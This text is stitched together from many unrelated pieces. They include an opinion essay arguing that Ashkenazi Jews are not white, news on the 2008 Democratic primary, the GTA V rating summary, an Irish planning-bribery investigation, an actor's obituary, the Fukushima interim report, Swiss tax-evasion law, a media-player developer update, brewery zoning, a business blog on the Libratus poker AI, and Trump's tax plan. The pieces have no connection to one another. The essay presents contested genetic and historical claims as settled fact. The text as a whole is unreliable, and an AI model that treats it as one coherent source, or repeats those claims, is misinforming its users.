True enough, all but one of those acknowledgements came packaged with gross antisemitism, but recognition of Jewish origins, identity, and heritage was never the exclusive purview of antisemites. Rather, it is an empirical fact of history – supported by reams of scholarship, archaeological evidence, and DNA studies – which had always been accepted by philosemites as well, and still is (a cornucopia of examples can be found here). The fact that Jews writ large are not racially European (i.e. white), but rather an indigenous Middle Eastern/”Oriental” people who are cousins of the Arabs, was common knowledge until the 1960s. And this knowledge only became obscured with the concomitant rise of anti-Zionist ideology, which rests on denying Jewish indigeneity to the Middle East and, by extension, our right to be there at all (at least as something other than “inferior dhimmi”). Furthermore, in this new era of political correctness, and with full knowledge that Jews stood much to gain from the Western left’s newfound respect for indigenous rights and protection of disadvantaged minorities, those whose hearts continued to smolder with antisemitism changed course and cast Jews as “white Europeans”, thereby allowing them to continue ostracizing us a backwards, oppressive, powerful, and malignant force.
Back to Rosenbaum, she goes on to assert that Ashkenazim enjoy all of the “regular privileges” white people do, which is false. She is conflating the ability to pass (a common trait for certain POC groups, especially other Middle Easterners – Jews aren’t “special” here) with actually being white, despite her earlier concession that they’re not the same thing. Yet for unclear and contradictory reasons (beyond inane, unsupported platitudes like “antisemitism is not racism”), she insists on holding Jews to a very different set of standards. Granted, some Ashkenazim – as well as some non-Ashkenazim – do have ambiguous or ostensibly “white” facial features, which are mainly the result of Cossack rapes during pogroms, and can therefore camouflage themselves, but a very large number cannot. As can be seen in the link I just posted, many either have a “Jewish” appearance, or a full blown Middle Eastern one. Moreover, having to hide one’s ethnic background just to be treated as a “normal” human being is not privilege, because white people (*actual* white people, not Jews, Arabs, etc) don’t have to do this. They don’t need to change their names, or flatten their noses, or bleach their skin, or straighten their hair, or take their kippahs off, etc. The fact that Ashkenazim, and white passing Jews in general, need to *work* just to be seen as regular people really says it all, and many (if not most) don’t even have the ability to do that. It’s simply not comparable.
More to the point, Jews are perhaps the oldest victims of what has come to be known as Orientalism. From the Greek and Roman colonial era where we were deemed “savages” in need of culture and enlightenment, to the evolution of these views under Christianity, to Enlightenment era Europeans openly declaring that we are Asiatics who are therefore culturally stagnant and incapable of reason, science, or progress, Orientalism has always been the bedrock of European antisemitism. These beliefs, rather than disappearing, have simply undergone further mutation in accordance with the West’s changing cultural milieus, and the classic European Orientalist perception of Jews as backwards, static, irrational, etc continues to inform antisemitism to this day. For more on that, see here.
All in all, we mustn’t make the mistake of assuming Jews enjoy “white privilege” just because our experiences are not symmetrical with those of African-Americans or Hispanics, as to do so would be unreasonable, fallacious, and hypocritical (again, no other ethnic minority is held to this standard). Anti-Jewish racism looks different because the stereotypes are different. In other words, we are not viewed by society as “uneducated thugs”, but as “dishonest”, “conniving”, “clannish”, and “bloodthirsty” mongrels who control everything behind the scenes, and these racist tropes play out in the way we are treated in this country. Moreover, we are frequently profiled at airports, viewed with suspicion when we are too successful, assumed to be in control of the US government, assaulted on the streets, typecast on TV and in movies (barring a number of exceptions) as geeks, criminals, hypochondriacs, and other stereotypes, our scalps are molested for horns by strangers, and so on and so forth.
Inasmuch as a group’s non-whiteness is contingent on their history, experiences, heritage, and relationship with the concept of “white” as defined by its pioneers, Ashkenazim certainly do qualify as a non-white people. Rosenbaum argues that whiteness vs non-whiteness is contingent on history and heritage, but despite Jews meeting every single qualifier to be considered a people of color, every single criterion down the line, she refuses to accept that we are one. Her claims that we are not a single, cohesive people of collective Middle Eastern stock is simply incorrect.
Onto the Forward article, which more blatantly advances the idea that Gal Gadot (and consequently, all Jews of Ashkenazic descent) is a white person. It would be difficult to respond to this without simply rehashing the points I already made, as author Noah Berlatsky’s views are very similar to Rosenbaum’s. But unlike Rosenbaum, Noah’s arguments invoke – intentionally or otherwise – the very popular antisemitic myth that Gadot (and presumably all Ashkenazim) is an ethnic European, not a Semite/Middle Easterner. And as I previously noted here, being exiled/taken as slaves to Europe and raped during pogroms after our land was taken from us does not make Ashkenazim white, or European. To brazenly conflate any portion of our people with those who tried for so long to erase us is one of the worst insults you could possibly hurl at a Jew. It is literally giving Europeans antisemites the very thing they’ve wanted all along – for us to be whitewashed and ultimately disappear.
That aside, Berlatsky himself doesn’t seem too sure of what whiteness actually is, wildly oscillating back and forth between “it’s all about appearance” and “it’s complicated”. For instance, he initially disputes the idea that whiteness “is an actual ethnicity or regional background”, only to later contradict himself within the same piece by declaring Gadot to be “white” because she is fair skinned and “European” (even though Ashkenazi Jews are not European – see above). He then goes on to advance the well worn analogy between Jewish experiences in North America and that of East Europeans, Italians, and Irish that we’ve all heard a million times by now. It is a ridiculous comparison for two very obvious reasons.
1. Irish people and Italians are indigenous European ethnic groups. Jews are an indigenous people of the Middle East, and if Middle Easterners writ large are considered people of color (regardless of what they actually look like), then so are Jews. Centuries of displacement from our land does not change this fact, and alleging otherwise is a form of erasure and antisemitism. To wit, although the characteristics that determined whether one is considered “Caucasian” have changed over time, “Caucasian” and “white” are more or less interchangeable and associated exclusively with Europeans, the dominant racial caste in North America. Thus, the Middle Eastern person (and by extension, the Jew) was and is not Caucasian/white.
2. Irish people and Italians no longer face marginalization or persecution as a result of their background, whereas antisemitism remains a powerful force in Western society and culture. As such, this analogy could really be said to be an outcropping of the idea that antisemitism is “over” – that it “died” after the Holocaust, which is thusly portrayed as a mere “freak incident” caused by “bad men in jackboots”, not the culmination of 2 millennia of anti-Jewish racism.
Yes, Wonder Woman is intended to be a white woman, but just because Gal Gadot landed that role doesn’t mean she’s white. It means she’s phenotypically ambiguous/light skinned enough to pass as white. Are Arabs, Latinos, Native Americans, and Iranians who look just as white as her (if not whiter) white? Or do Jews get to be special? And while we’re on the subject of phenotypes, Gadot’s physical appearance is actually very common among Levantines, Israeli or otherwise. Even Linda Sarsour (whom no one would deny is a POC) said that without the hijab, she’s just a white girl. Are Lebanese, Jordanian, and Egyptian women with a similar skin complexion/appearance white too? Or are Berlatsky’s rules for Jews only? Moreover, I tend to think that if Gadot bore a more stereotypical “white” Ashkenazi appearance (e.g. Mayim Bialik), she wouldn’t have been cast either, but that’s neither here or there.
At any rate, it is true that Middle Easterners – including Ashkenazi Jews – who had hitherto been marked as “Asian” on the US Census, petitioned to be marked as “White” in order to avoid the attendant possibility of denaturalization. But in the 21st century, an increasing number of Middle Easterners, including Jews of all diaspora backgrounds, are rejecting this classification.
One final point that deserves a rebuttal is his allegation of “European privilege” in Israel. He writes, “in Israel itself, Gadot’s skin color and European background protect her from the kind of discrimination faced by Ethiopian Jews, other dark-skinned Jews, and Palestinians”. This is nonsense. Firstly, Ashkenazim are not ethnic European, per the above arguments. Second, very few people in Israel can even tell the difference between Ashkenazim, Mizrahim (who make up more than half of Israel’s population), or Arabs, except by their names or religious headgear. Phenotypically, there is too much overlap (which is natural, given their genetic closeness and common regional origins) and making generalizations about either will lead to many embarrassing mistakes. Although there was discrimination against Mizrahim in Israel’s early years (the result of Ashkenazim being colonized and internalizing many Eurocentric ideas), and there is still discrimination against African Jews (who, despite sharing the same regional origins as other Jews, were less persecuted in diaspora and therefore intermarried more with their historic host population), casting Israel as a Middle Eastern version of the United States is categorically false.
Published: Friday February 29, 2008
Print This Email This Presidential candidate Barack Obama has been steadily increasing his standing in the polls and showing apparently unstoppable momentum. He is raising more money than Hillary Clinton and outspending her two to one in Ohio and Texas, which hold their primaries next Tuesday. Democratic strategist Robert Shrub told NBC, "What this financial advantage enables him to do is to sustain a very rich organization ... and at the same time, basically own the airways." Clinton's latest attempt to counter Obama's appeal to a widespread desire for change is a new ad which plays on fears of danger and crisis. Over images which juxtapose peacefully sleeping children with a 3 am call to the Oval Office, a voice states portentously, "Something's happening in the world. Your vote will decide who answers that call. Whether it's someone who already knows the world's leaders, knows the military, someone tested and ready to lead in a dangerous world... Who do you want answering the phone?" "The message ... is a pretty obvious one," NBC's Matt Lauer commented to Chris Matthews of MSNBC. "Is it going to work?" "Clearly, it's about menace. It's about fear," answered Matthews. "F. Scott Fitzgerald once said that in the deepest part of the soul, it's always three o'clock in the morning. I think they're playing on that fear of a new guy on the block they don't know that well." The ad, by the creator of Walter Mondale's 1984 "red phone" ad, has already been dismissed by the Obama campaign as offering a "worn out" message. Matthews suggested that the Clinton strategy at this point may be to write off Texas but hope to pull out a win in Ohio by targeting more conservative voters in that state and then carry the same approach over to Pennsylvania, which holds its primary in late April. "Win Ohio on this bit of fear here, bit of menace from Obama," Matthews stated. "Hope that there's a pushback in Ohio against him. ... Then go on to Pennsylvania. ... The former governor of Pennsylvania said that Pennsylvania is a John Wayne state, not a Jane Fonda state. Play on the fact that maybe this guy's too new, too hip. Pennsylvania doesn't want to be that hip." Matthews concluded that "they need a big break against Obama to win this thing," while Obama just has to hold tight and avoid making mistakes. MSNBC has been perceived of being anti-Clinton and has even been accused by the Clinton campaign and some supporters of carrying on a "grudge match" against her. This video is from NBC's Today Show, broadcast February 29, 2008.
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The following is the official summary from the ESRB's listing for GTA V, which is getting an M rating for, well, being Grand Theft Auto. Remember, M-rated games are for gamers 17 and up.
Rating Summary: In this open-world action game, players assume the role of three criminals whose storylines intersect within the fictional city of Los Santos. Players can switch between each character to follow his storyline, completing missions which often include criminal activities (e.g., stealing cars, executing heists, assassinating targets). Players use pistols, machine guns, sniper rifles, and explosives to kill various enemies (e.g., rival gang members); players also have the ability to shoot non-adversary civilians, though this may negatively affect players' progress as a penalty system triggers a broad police search. Blood-splatter effects occur frequently, and the game contains rare depictions of dismemberment. In one sequence, players are directed to use various instruments and means to extract information from a character; the sequence is intense and prolonged, and it involves some player interaction (i.e., responding to on-screen prompts). The game includes depictions of sexual material/activity: implied fellatio and masturbation; various sex acts that the player's character procures from a prostitute—while no nudity is depicted in these sequences, various sexual moaning sounds can be heard. Nudity is present, however, primarily in two settings: a topless lap dance in a strip club and a location that includes male cult members with exposed genitalia in a non-sexual context. Within the game, TV programs and radio ads contain instances of mature humor: myriad sex jokes; depictions of raw sewage and feces on a worker's body; a brief instance of necrophilia (no nudity is depicted). Some sequences within the larger game allow players to use narcotics (e.g., smoking from a bong, lighting a marijuana joint); cocaine use is also depicted. Players' character can, at various times, consume alcohol and drive while under the influence. The words “f**k,” “c*nt,” and “n**ger” can be heard in the dialogue.
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It's not clear just how often players will have control of using pot. And it seems like the ESRB is drawing a distinction between players using pot and cocaine being depicted. Interactivity for the former and no interactivity for the latter?
We've reached out to Rockstar for clarification on how players can or can't use pot in the game and will update you if they provide any details.
It also looks like GTA IV's drunk driving will be back, according to the ESRB summary.
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GTA is also known for pushing the envelope regarding sex, but according to the above description, it seems that the sex in GTA V will be nudity-free. There will, however, be some exposed body parts in some non-sex scenes.
It may seem weird to parse a game like this in advance. It's possibly the least cool way to appreciate or anticipate a creative work. But Rockstar's Grand Theft Auto stands out as a game series that perpetually pushes the envelope in terms of sex, violence, cultural diversity, and political satire. How far they go can predict how far they'll pull the rest of big-budget gaming along or at least show how much further away from most of it they'll remain. While most games made by large studios are exercises in playing with safe content, Rockstar risks going further.
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Previous GTA games have depicted drug use, though at least one of the series' protagonists, GTA: San Andreas' Carl Johnson, was anti-drug. GTA: Chinatown Wars let players make money selling drugs but didn't depict use. Other gaming series, such as Saints Row, have depicted use of pot, often under euphemistic names and generally just for comic effect.
Grand Theft Auto V, which seems like a significant evolution of Rockstar's open-world gaming formula, will be released for Xbox 360 and PlayStation 3 on September 17. The game will also launch the ambitious Grand Theft Auto Online.
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GARDAI are investigating a serious complaint of bribery and planning permission fraud against a Fine Gael politician, the Sunday Independent can reveal.
If proved, the potentially explosive allegations will raise serious concerns for Taoiseach Enda Kenny. A county councillor has claimed he was approached by a FG councillor who said he would help the councillor secure planning permission for a site he owns if he agreed to cease inquiries he was making about the manner in which a candidate was appointed to a local authority job.
The FG councillor said a senior official within the local authority was also willing to support the planning proposal as long as the councillor ceased his investigations.
The councillor was also told he had to put his land in someone else's name before he applied for planning permission so it would not raise suspicions.
The FG county councillor also suggested he approach a Fianna Fail councillor about the matter, but it is understood this man was not approached in relation to the alleged planning fraud.
Believing the offer to be corrupt, the councillor began recording conversations with the FG councillor.
The Sunday Independent has heard recordings of these conversations, which the councillor also handed over to the Garda Bureau of Fraud Investigation on November 1.
On the same day, the councillor spoke to gardai for almost three hours detailing the offer he claims was made to him.
In one of the recordings, the FG councillor suggests the senior local authority official is "protecting" the person in relation to whom inquiries were being made by the other local politician.
Two weeks after he started his inquiries, the councillor claims he was approached by a FG councillor who offered to help rezone his land in return for him stopping his inquiries.
It was later decided it was not possible to rezone the councillor's land and he was told to apply for planning permission through a change or a "material contravention" to the country development plan.
In text messages seen by the Sunday Independent, the FG councillor asked the other councillor if he could apply for planning permission in someone else's name.
"No, I have a legal obligation to disclose my interest," the other councillor responded "But can the application go in someone else's name? Sure can't anyone apply for permission?" the FG councillor replied.
In a recorded conversation, which took place in the councillor's office on October 22, the FG councillor says the senior local authority official wants the planning permission applied for under a different name.
"There's two things, he said, 'he can't put in the application in his own name'," he says in the recording.
"In fact, he said if you can put the land in someone else's name it would be better and he said 'I'll do it'."
The councillor then asks: "So I have to dispose of the land to someone else? To get someone else, a prospective buyer."
"Exactly, and you stay away from hell from it," the FG councillor responded.
The councillor also asks if the county council official "promised" to help get him planning permission if he became a "silent partner" in his own land, to which FG councillor responds, "yes".
The FG councillor adds: "Well, the easiest way for it to happen is this way. Sure my next door neighbour can apply for planning on my field."
A change to a county development plan needs to be approved by two-thirds of the council. The FG councillor suggests that the other councillor should approach a local Fianna Fail councillor to ensure the planning permission is passed.
"You have to plan these things like for them to work so if [the Fianna Fail councillor] was in it would guarantee the Fianna Fail vote," he said.
"You have to get two-thirds vote. If [the local authority official] wanted to go down on bended knee and give it to you, you still have to have two-thirds to get it across the line."
The Sunday Independent understands the Fianna Fail councillor was not approached by either councillor and was unaware of plans to secure planning permission.
On October 29, the councillor rang the local authority official and asked him if he was "au fait" with the FG councillor's plan to secure planning permission. In a recording of that conversation, the official says: "He has mentioned some representations on your behalf, yes".
When asked if he will recommend the change to the county development plan, the official responds: "Could I suggest you leave it with Councillor [name deleted] and let him handle it."
Following a series of questions from the Sunday Independent, the FG councillor said he was unaware he had been recorded but would not have "conversed differently" had he known. He claimed he had asked the councillor to stop his inquiries into the local authority appointment because he feared it would "bring into the public domain information adverse to an entirely innocent" individual.
He also claimed he suggested approaching the Fianna Fail councillor because he believed the councillor who owned the land lacked "the core competency and skill set to deliver the project". And he claimed he did not mention this to the councillor because he did not want to offend him.
The senior county council official denies any wrongdoing and said he did not ask the FG councillor to approach the other councillor in relation to planning permission or any other matter.
Guillaume voiced Rafiki in The Lion King and Isaac Jaffe in Sports Night. He was also known for his role as Benson in Soap and its spin-off Benson.
Guillaume's wife, Donna Brown Guillaume, told the Associated Press that the actor died after a battle with prostate cancer. He passed away at his home in Los Angeles.
Up Next: Celebrities We've Lost in 2017
Guillaume's time in the Benson role made him a beloved and acclaimed member of the TV community. He was won the supporting actor Emmy for Soap in 1979 and the lead actor Emmy for Benson in 1985.
“The minute I saw the script, I knew I had a live one,” he said in 2001. “Every role was written against type, especially Benson, who wasn’t subservient to anyone. To me, Benson was the revenge for all those stereotyped guys who looked like Benson in the ’40s and ’50s (movies) and had to keep their mouths shut.”
His most beloved film role was as the primate Shaman Rafiki in the Lion King franchise. He voiced the role in the original film and its two sequels. The voice role also lead to Guillaume's only Grammy award. His work on the original film's read-a-long tie-in was awarded with the Grammy for Best Spoken Word Album for Children.
More: 'The Lion King' Remake Casts John Kani as Rafiki
He also had on-screen roles in Lean on Me, Big Fish and Spy Hard.
Japan's response to the nuclear crisis that followed the March 11 tsunami was confused and riddled with problems, and workers were untrained to handle emergencies, an interim report has revealed.
The operators of the tsunami-stricken Fukushima Daiichi nuclear power plant and government regulators were woefully unprepared for the disaster, the first official probe into the twin disasters said on Monday.
An independent panel set up to investigate the events around the world's worst nuclear accident in a generation said Tokyo Electric Power [Tepco], the utility that ran Fukushima plant, and the Nuclear and Industrial Safety Agency had failed to think beyond the risks for which the nuclear plant was designed.
The Daiichi plant, 240km northeast of Tokyo, was hit by a tsunami that exceeded 15m in some areas. The tsunami knocked out the plant's cooling systems, resulting in meltdowns of nuclear fuel.
The panel's interim report sharply contrasted with Tepco's own probe, which said the utility could have had no way to prepare for the 9.0-magnitude earthquake and giant waves that sparked meltdowns and explosions at the plant.
The 500-page document, based on interviews with more than 400 people involved in the accident, comes nine months after the crisis forced the evacuation of tens of thousands of people as radiation leaked into the air, sea and food chain.
Learn from mistakes
The panel said its aim was not to apportion blame for the disaster, but to learn why the accident happened in the way it did.
The report also noted that Tepco did not have enough expertise on the ground after the disaster struck, saying it made mistakes like misunderstanding the functioning status of the No1 reactor's cooling system and mishandling the No3 reactor's cooling system.
The 12-member panel, set up in May on the initiative of then Prime Minister Naoto Kan, will release a final report next year. The panel includes seismologists, former diplomats and judges.
The government announced on December 16 that reactors at the plant had reached a state of cold shutdown, a milestone in cleanup efforts and a pre-condition for allowing about 80,000 residents evacuated from a 20km radius of the Daiichi plant.
But a public poll by the Nikkei newspaper on Monday showed that 78 per cent of those surveyed did not agree with the government's decision to declare a cold shutdown.
He said that the PM should call a meeting of the parliamentary party of PPP and other coalition parties and keep all the facts before them. He said that this meeting should take place before the president's address on March 22.
Qureshi said that after the release of Raymond Davis, the US drone attack in North Waziristan was a gift to the Pakistani nation. He said that the manner in which the Davis case was resolved internationally gave the message that Pakistanis can be purchased at will.
It called on the finance ministry to quickly draw up a proposal for a new law that would criminalize serious tax evasion on an equal footing with money laundering.
That move, which is in line with recommendations from the international Financial Action Task Force on Money Laundering (FATF), would mark the first true criminalization of tax evasion in Switzerland.
The bill would be aimed at preventing banks and other financial institutions from accepting untaxed assets, the government said, stressing that they would be required to do more to determine if their foreign clients were dodging taxes.
"The extent of the examination depends on the risk posed by the contracting party, which is similar to the due diligence requirements for combating money laundering and terrorist financing," it said.
But while banks would be permitted to ask their clients to hand over self-declarations attesting that they had paid the appropriate taxes, the government stressed there would be no obligation for clients to file them.
Left-wing Swiss parties have called for all bank clients to be forced to file such declarations, but the government said setting up such a system would be too complicated.
It preferred, it said, to allow the banks to "self-regulate", since this had proven effective when it came to sniffing out money launderers.
Bangarang is a media player with a focus on simplicity paired with capability. Simplicity comes from a careful attention to the user's media-related goals and how the UI satisfies those goals. Capability comes from taking advantage of KDE pillars like Nepomuk, Phonon, Plasma and more. Much more is at the website.
Improving Bangarang
It has been lots of fun improving Bangarang touch support for Plasma One. It involves much more than just making the clickable elements bigger. Several interaction choices had to be revisited. For example, Bangarang makes extensive use of mouse-hover to convey information. With no mouse-hover in a touch interface, some functions had to be modified (touch video to show/hide controls instead of hover) or disabled (editing in the info view). In Plasma Active, Bangarang always uses the full screen (except for the Plasma bar at the top). So drag and drop support between other applications and Bangarang could be sacrificed to support flickable scrolling in the playlist and media list views. Lots of similar updates are made to support touch, all without sacrificing the desktop experience (command line switch).
Beyond touch support, I've been working really hard to improve keyboard navigation and shortcuts support (geez, this is hard!). Also, adding ownCloud support was surprisingly easy since it was just a matter of creating a new ListEngine that parsed ampache xml data. In fact, developing remote/online InfoFetchers and ListEngines have become quite easy - just need the url api and the xml format.
Interfering with Bangarang
(No really you would be helping out)
Fixing paper-cuts is the current focus(resizing video in fullscreen mode, unsightly genre codes, recursive add media from drag and dropped folder and more). I could certainly use some help from anyone willing to contribute. :-) There is one rule and one guideline for this.: Have fun! If you’re not having fun, take a break.: Basics first, gravy later
The seventh annual Wilmington Beer Week features brews from 60 craft breweries at 13 restaurants across the city. (Photo: Getty Images)
New Castle County will consider loosening its development rules to allow craft breweries, wineries and distilleries in shopping centers and other commercial property.
Currently, businesses looking to brew beer or distill alcohol within the unincorporated area of New Castle County must set up on property zoned for industry. A rule change introduced at County Council's Tuesday meeting is meant to allow breweries to set up shop where they can better reach customers.
"The business has evolved and we have very small craft operations that are trying to get established," said Councilman John Cartier, who is sponsoring the legislation. "The industrial zones do not meet the needs of this emerging business concept."
Land zoned for industry is rare compared to commercially zoned land. Such property is also typically surrounded by other industrial uses.
The new rules require brewing and distilling businesses in commercial areas to include a tasting room to sell their product.
It also updates the county's definition of a brewpub to regulate such businesses as normal restaurants.
Buy Photo Yorklyn's Dew Point Brewing Co.'s tasting room features exposed wood beams and a changing selection of brews. (Photo: William Bretzger, The News Journal)
As alcohol brewing and distilling has become a more customer-friendly, destination-oriented industry, Cartier said they should be able to open in strip malls and other commercial centers.
"We want to allow our craft entrepreneurs an opportunity to present to the market and interact with the customer base," Cartier said.
The zoning regulations challenged the entrepreneurs behind Yorklyn's Dew Point Brewing Co. when they scouted a location for the business that opened last year.
Restricted to industrial property, they set up shop in the mechanics quarters of the former Garrett's Snuff Mill complex, which manufactured tobacco products from the late 1800s to 1954. The brewery sits beside a larger development of old, dead industrial buildings tucked into the hillside.
STORY: State gives Delaware alcohol-makers a high-tech push
STORY: The $100,000 effort to save Delaware's 11-foot beer icon
The rule change also opens the door for allowing Dew Point and other breweries on industrial land to host food trucks on the property. And while the history of the snuff mill adds intrigue to that brewery, Cartier said it is important not to have barriers to such businesses while cities like Newark have fewer restrictions.
Earlier this year, Newark City Council approved new regulations that would allow beer brewing or alcohol distilling businesses to locate in the city.
State government is also seeking to direct residents and tourists to Delaware's brew businesses. The Delaware Tourism Office released its new Delaware on Tap app in October, giving users a handheld guide to the state's burgeoning craft booze scene.
The app tracks the state's breweries with updated events listings, deals, maps, tours and more. Its geolocation software maps the closest breweries, distilleries, and others in your vicinity.
Cartier said he'd like County Council to vote on the rule change before the end of the year. The legislation must have hearings with the county's Planning Board as well as the state's land planning committee. It may have to wait until early next year, he said.
Contact Xerxes Wilson at (302) 324-2787 or xwilson@delawareonline.com. Follow @Ber_Xerxes on Twitter.
Buy Photo Jessica Besecker with Dover's Fordham & Dominion Brewing Company serves spiced harvest beer at the Delaware Wine and Beer Festival last year -- an event organized by Kent County Tourism each fall. (Photo: JASON MINTO/THE NEWS JOURNAL)
AI Can Bluff Now. Here’s What This Means for Your Business.
Marcus Andrews Blocked Unblock Follow Following Feb 10, 2017
Garry Kasparov, Lee Sedol, Ken Jennings.
These fine folks, grand masters in their given fields, have all been positively embarrassed by machines, publicly beaten at their own games, by little more than 1s and 0s.
You can now add to this long list of humans beaten by machines, four professional poker players.
“Libratus, an artificial intelligence developed by Carnegie Mellon University, made history by defeating four of the world’s best professional poker players in a marathon 20-day poker competition, called “Brains Vs. Artificial Intelligence: Upping the Ante” at Rivers Casino in Pittsburgh.” — CMU.Edu
This time though things are a little different, because while poker has rules, unlike chess or go, the rules can bend. To win at poker, you have to do something very human — you have to lie.
That’s right, this AI learned how to bluff.
It wasn’t programed to, but it figured out that bluffing was a key part of winning No-Limit Texas Hold’em hands. Granted, machine’s have a leg up when it comes to math and probability, skills needed to win at poker. But this win changes the idea that the information machine learning needs to learn has to be highly structured.
“The best AI’s ability to do strategic reasoning with imperfect information has now surpassed that of the best humans,” Tuomas Sandholm, Ph. D. CMU.
During the early rounds of the tournament the poker players found and exploited holes in the AI’s strategy. However, when they tried these tricks again the next day, they found that their tricks didn’t work. Overnight the AI was analyzing its mistakes and fixing them. The more holes the poker pro’s poked in the machine’s game, the better it got, ultimately overwhelming the best players in the world.
This AI still needs lots of data to learn and at high frequency (two of the pillars of machine learning I outlined here), but now it doesn’t need highly structured data. This is a development I didn’t think would happen this soon.
What bluffing AI means for business
A more creative AI, like Libratus, opens up the business applications to more human tasks. Historically, structure and uniformity limited what computers could do. They couldn’t compete with the creative power of the human brain, a device that’s quite good at connecting abstract ideas and working with ambiguous data.
How will this apply to business?
There are still myriad questions in business and marketing that require the mysterious processing power of the human brain (or so it seems). These are the questions where analytics and metrics aren’t usually consulted:
Does this person have what it takes to lead a team?
Is this piece of creative good?
Can I convince investors that this idea is worthy of their dollars?
Theses questions are some of the most difficult to answer. Knowing what is a “good” piece of creative for instance is a very complex question. The question is subjective, different people may see different ways, making any data ambiguous. For someone to really analyze it they need to have deep experience in the fundamentals of art, design, business, and persuasive writing. These skill take time and human experience to acquire. This is why brands and businesses spend millions of dollars with top ad agencies. They need to lean on these experts to build quality creative and still sometimes get it wrong.
But with this new development, it’s likely that in the next few years, Madison Ave creatives won’t be the ones answering what your Super Bowl spot should look like, a machine will. This is already the case with social ads. Google for instance can quickly tell you which piece of creative drives clicks and which doesn’t. What’s next is when the AI knows your creative is bad, and will give you advice on how to make it better. This can be uncomfortable to think about it, but it’s important to pay attention to now — if you don’t you’ll get let behind.
I’ve written before about how machine learning in ad optimization is a fast way to start using powerful AI. Recently, I caught up with our head of Paid Acquisition and Optimization at HubSpot and he told me something very interesting: he has stopped trying to optimize the ads we run on Facebook.
Ad optimization is his job, and he’s flat out stopped trying to optimize our ads. Ten months ago he used Facebook’s tools to augment his own skills. Using a combination of tests and manual tweaks based on results to optimize our ads ROI. But as of last month, he’s leaning 100% on Facebook to find the right audiences and bid on them. Why? He can no longer beat their AI. He’s giving this same advice to our customers: don’t bother trying to manually optimize your ads either, trust Facebook, let their AI do the work.
This has had a meaningful impact on how his team spends their time. Today, instead of testing Facebook ads, they now test Facebook’s tests and optimizations. But the big fact remains, manual optimization is no longer the best way to have great ads. Our team recognized this and smartly got out of their own way. Sometimes you just need to give in to the power of the machines and move on to the next challenge.
When we live in a world where a machine can instantly tell you if a piece of creative is good or not. It’ll be important to listen.
AI is getting smarter, and much faster than I thought. The news of AI winning a game of poker feels like the first of many similar developments to come. Machines will be chomping up knowledge workers jobs much like software has been eating the world.
Republicans greeted President Donald Trump's splashy tax rollout Wednesday with muted enthusiasm — hopeful that the tax code could be reformed but eager to hear a lot more details as well as the president’s strategy for success.
Democrats didn’t hold back, slamming the tax outline as a giveaway to the wealthy, which suggests that Trump will have to pass his plan with only the GOP’s narrow majorities.
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In the hours after Trump’s principles were unveiled for “the biggest tax cut and the largest tax reform in the history of our country” as Treasury Secretary Steve Mnuchin told reporters, it was clear the administration has a lot of work to do on Capitol Hill.
Perhaps the biggest unanswered question facing Republicans is how they can work with Trump on a tax plan that is expected to pay for itself with massive economic growth. Independent analysts worry about the administration’s math. And adding to the deficit presents a politically perilous choice for many Republicans as well as significant legislative complications.
“I’m very sensitive to the deficit and the $21 trillion worth of national debt,” said Rep. Tom Reed (R-N.Y.).
Mnuchin and other Trump officials said they want to work with Congress on shaping a bill that can pass by the end of the year. But the White House is already spurning a key piece of Speaker Paul Ryan’s tax plan — a proposed tax on imports that would help pay for cutting the corporate tax rate to 15 percent, as Trump has proposed.
Ryan downplayed the provision’s absence in Trump’s plan Wednesday.
“We all agree that in its present form it needs to be modified,” Ryan said border adjustment tax at the law firm BakerHostetler. “We don’t want to have severe disruptions — if you’re an importer or a retailer heavily dependent on importers, we don’t want to shock the system so much that it puts them at a disruptive disadvantage.”
Ryan also told reporters that congressional Republicans have been in close contact with the White House. "This is something we've been talking to them all along," he said.
Republican leaders sought to present some sense of party unity with a joint statement from Ryan, Senate Majority Leader Mitch McConnell, House Ways and Means Chairman Kevin Brady (R-Texas) and Senate Finance Chairman Orrin Hatch (R-Utah) that called Trump’s principles “critical guideposts,” but which otherwise provided little specific comment on what Trump laid out.
Rank-and-file Republicans said they hoped for more input from the president and more than the document they saw Wednesday.
“I want to give the president a chance to actually produce a bill,” Rep. Tom Cole (R-Okla.) told reporters. “I would prefer not to add to the deficit, but I’m going to wait and see what the legislative language looks like before I take a hard and fast position on any of this.”
Sen. Bill Cassidy (R-La.) said the corporate tax cut could prove “workable, but we’re going to need guidance from the president.”
Some saw Wednesday’s principles as more of a messaging document pegged toward the approach of Trump’s 100th day in office than a clear path toward tax reform.
During a tax reform briefing for Republican congressional staff on Wednesday afternoon, White House Communications Director Michael Dubke belabored the unfair treatment of Trump in the press and defended the administration’s accomplishments, according to multiple GOP aides present who spoke on the condition of anonymity.
Democrats ridiculed the outline’s high price tag, the benefits to the richest Americans and the potential to personally benefit the president, who refuses to release his tax returns.
“This is an unprincipled tax plan that will result in cuts for the one percent, conflicts for the President, crippling debt for America and crumbs for the working people,” said Sen. Ron Wyden, the top Democrat on the Senate Finance Committee.
Another senior Democrat, Rep. Joe Crowley (D-N.Y), said that that the president should release his tax returns before any Democratic engagement on tax reform.
“The president needs to release his taxes,” Crowley said. “We need to know who’s lent him money and who he owes his allegiance to... [and] what effect would this change in tax structure have,” on Trump’s business?
Despite the White House’s hints at seeking bipartisanship, Democrats said the administration has made close to zero effort to involve them in tax reform talks, on both the leadership and committee levels.
Trump’s principles also did not include investments in infrastructure, which had been considered a possibility to woo Democrats.
“This plan is just tax reform,” said Treasury Secretary Steven Mnuchin at an event at the Newseum Wednesday when asked if infrastructure spending could also be included as a way of courting Democrats. The proposal does call for a childcare tax credit that could interest some Democrats.
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Mnuchin also told reporters Wednesday that Trump's tax plan included a potential rollback of the popular deduction for state and local income taxes. That move would be a non-starter with most northeastern lawmakers in both parties, whose constituents benefit heavily from the deduction.
Rep. Richard Neal (D-Mass.), the ranking Democrat on the Ways and Means Committee, said that the administration had made no outreach to his fellow party members, and wondered aloud whether Trump was even on the same page as congressional Republicans.
“Are we for the border adjustment tax, are we for the president’s plan? It’s not very clear,” Neal told POLITICO, referring to the vagueness of Trump’s proposal. “Has the border adjustment tax succumbed? We need to know.”
Senate Minority Whip Dick Durbin (D-Ill.) echoed Neal’s sentiment. “All I know is what I read in the papers,” he said, adding dryly that “obviously, we are not a deficit-conscious Congress.”
The concern over the deficit is not only an issue for fiscal hawks. Republicans are likely to use a complex procedure known as budget reconciliation to circumvent a Democratic filibuster in the Senate and allow passage of tax legislation with a simple majority rather than 60 votes.
But under Senate rules, reconciliation can only be used if the bill will not add to the deficit after a decade. Non-partisan estimates say that even a two or three year temporary cut to the corporate tax rate would add to the deficit in the long run. That’s why House Republicans included major revenue-raisers like the border adjustment tax and a phase-out of a deduction businesses can take for the interest they pay on debt. Both combined would raise trillions over ten years, offsetting the rate cuts.
